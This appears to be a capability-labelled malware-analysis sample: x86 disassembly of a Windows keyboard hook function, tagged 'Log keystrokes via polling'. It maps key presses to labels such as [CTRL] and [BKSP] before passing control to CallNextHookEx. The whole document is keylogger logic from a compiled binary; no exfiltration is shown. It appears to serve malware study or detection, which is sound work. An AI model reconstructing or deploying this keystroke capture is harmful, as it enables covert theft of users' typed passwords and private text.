Function at 0x40ad09
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
mov eax, edx
mov ebx, ecx
push esi
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push edi
mov edi, dword [ebp + 8]
sub eax, 0x100
je 0x40ad2f
sub eax, 4
jne case.default.0x40ad5c
mov esi, dword [edi]
cmp esi, 0x27
jb 0x40b08f
cmp esi, 0x40
ja 0x40ade2
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x40adc7
add esi, 0xffffffd0
cmp esi, 9
ja case.default.0x40ad5c
jmp dword [esi*4 + 0x40b12d]
mov ecx, str.______
jmp 0x40b113
mov ecx, 0x419d38
jmp 0x40b113
mov ecx, 0x419d3c
jmp 0x40b113
mov ecx, 0x419d40
jmp 0x40b113
mov ecx, 0x419d44
jmp 0x40b113
mov ecx, 0x419d48
jmp 0x40b113
mov ecx, 0x419d4c
jmp 0x40b113
mov ecx, 0x419d50
jmp 0x40b113
mov ecx, 0x419c98
jmp 0x40b113
mov ecx, 0x419d54
jmp 0x40b113
push esi
lea eax, [ebp - 0x14]
push 0x419d58
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
jmp 0x40b113
cmp esi, 0x5b
jae 0x40ae2e
call fcn.0040b167
push 0x10
mov bl, al
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
mov dl, bl
setne cl
call fcn.0040b155
test al, al
lea ecx, [esi + 0x20]
lea eax, [ebp - 0x14]
cmovne ecx, esi
push ecx
push 0x419d58
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
call fcn.0040b172
mov ebx, dword [ebp - 4]
jmp case.default.0x40ad5c
cmp esi, 0x68
ja 0x40aed8
je 0x40aece
cmp esi, 0x63
ja 0x40ae8e
je 0x40ae84
sub esi, 0x2e
je 0x40ae7a
sub esi, 0x32
je 0x40ae70
sub esi, 1
je 0x40ae66
sub esi, 1
jne 0x40b0da
mov ecx, 0x419de0
jmp 0x40b113
mov ecx, 0x419ddc
jmp 0x40b113
mov ecx, str.0123456789_________.:___
jmp 0x40b113
mov ecx, str._DEL_
jmp 0x40b113
mov ecx, 0x419de4
jmp 0x40b113
sub esi, 0x64
je 0x40aec4
sub esi, 1
je 0x40aeba
sub esi, 1
je 0x40aeb0
sub esi, 1
jne 0x40b0da
mov ecx, 0x419df4
jmp 0x40b113
mov ecx, 0x419df0
jmp 0x40b113
mov ecx, 0x419dec
jmp 0x40b113
mov ecx, 0x419de8
jmp 0x40b113
mov ecx, 0x419df8
jmp 0x40b113
mov eax, 0xbc
cmp esi, eax
ja 0x40af90
je 0x40af7c
add eax, 0xffffffe7
cmp esi, eax
ja 0x40af28
je 0x40af14
sub esi, 0x69
je 0x40af1e
sub esi, 0x37
je case.default.0x40ad5c
sub esi, 1
je case.default.0x40ad5c
sub esi, 1
jne 0x40b0da
mov ecx, str._CTRL_
jmp 0x40b113
mov ecx, 0x419dfc
jmp 0x40b113
sub esi, 0xa4
je 0x40b10e
sub esi, 1
je 0x40b10e
sub esi, 0x15
je 0x40af68
sub esi, 1
jne 0x40b0da
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x419e44
mov edx, 0x419e48
test ax, ax
cmove ecx, edx
jmp 0x40b113
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x419e34
mov edx, 0x419e38
jmp 0x40af5d
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x419e24
mov edx, 0x419e28
jmp 0x40af5d
mov eax, 0xdb
cmp esi, eax
ja 0x40b02a
je 0x40b013
sub esi, 0xbd
je 0x40affc
sub esi, 1
je 0x40afe5
sub esi, 1
je 0x40afce
sub esi, 1
jne 0x40b0da
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x419e08
mov edx, 0x419e0c
jmp 0x40af5d
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x419e00
mov edx, 0x419e04
jmp 0x40af5d
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x419e2c
mov edx, 0x419e30
jmp 0x40af5d
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x419e3c
mov edx, 0x419e40
jmp 0x40af5d
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x419d18
mov edx, 0x419e10
jmp 0x40af5d
sub esi, 0xdc
je 0x40b06e
sub esi, 1
je 0x40b057
sub esi, 1
jne 0x40b0da
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x419e1c
mov edx, 0x419e20
jmp 0x40af5d
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x419d1c
mov edx, 0x419e18
jmp 0x40af5d
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x40b085
mov ecx, 0x419e14
jmp 0x40b113
mov ecx, 0x4194e4
jmp 0x40b113
cmp esi, 0x11
ja 0x40b0c5
je 0x40af14
sub esi, 8
je 0x40b0be
sub esi, 1
je 0x40b0b7
sub esi, 4
je 0x40b0b0
sub esi, 3
je case.default.0x40ad5c
jmp 0x40b0da
mov ecx, 0x419d64
jmp 0x40b113
mov ecx, str._TAB_
jmp 0x40b113
mov ecx, str._BKSP_
jmp 0x40b113
sub esi, 0x12
je 0x40b10e
dec esi
sub esi, 1
je 0x40b107
sub esi, 7
je 0x40b100
sub esi, 5
je 0x40b0f9
push 0xf
lea eax, [ebp - 0x34]
push eax
mov eax, dword [edi + 8]
shl eax, 8
add eax, dword [edi + 4]
shl eax, 0x10
inc eax
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
lea ecx, [ebp - 0x34]
jmp 0x40b113
mov ecx, 0x419d60
jmp 0x40b113
mov ecx, str._ESC_
jmp 0x40b113
mov ecx, str._CAPS_
jmp 0x40b113
mov ecx, str._ALT_
call fcn.0040b172
push edi
push dword [ebp - 8]
push ebx
push 0
call dword [sym.imp.USER32.dll_CallNextHookEx]
pop edi
pop esi
pop ebx
leave
ret 4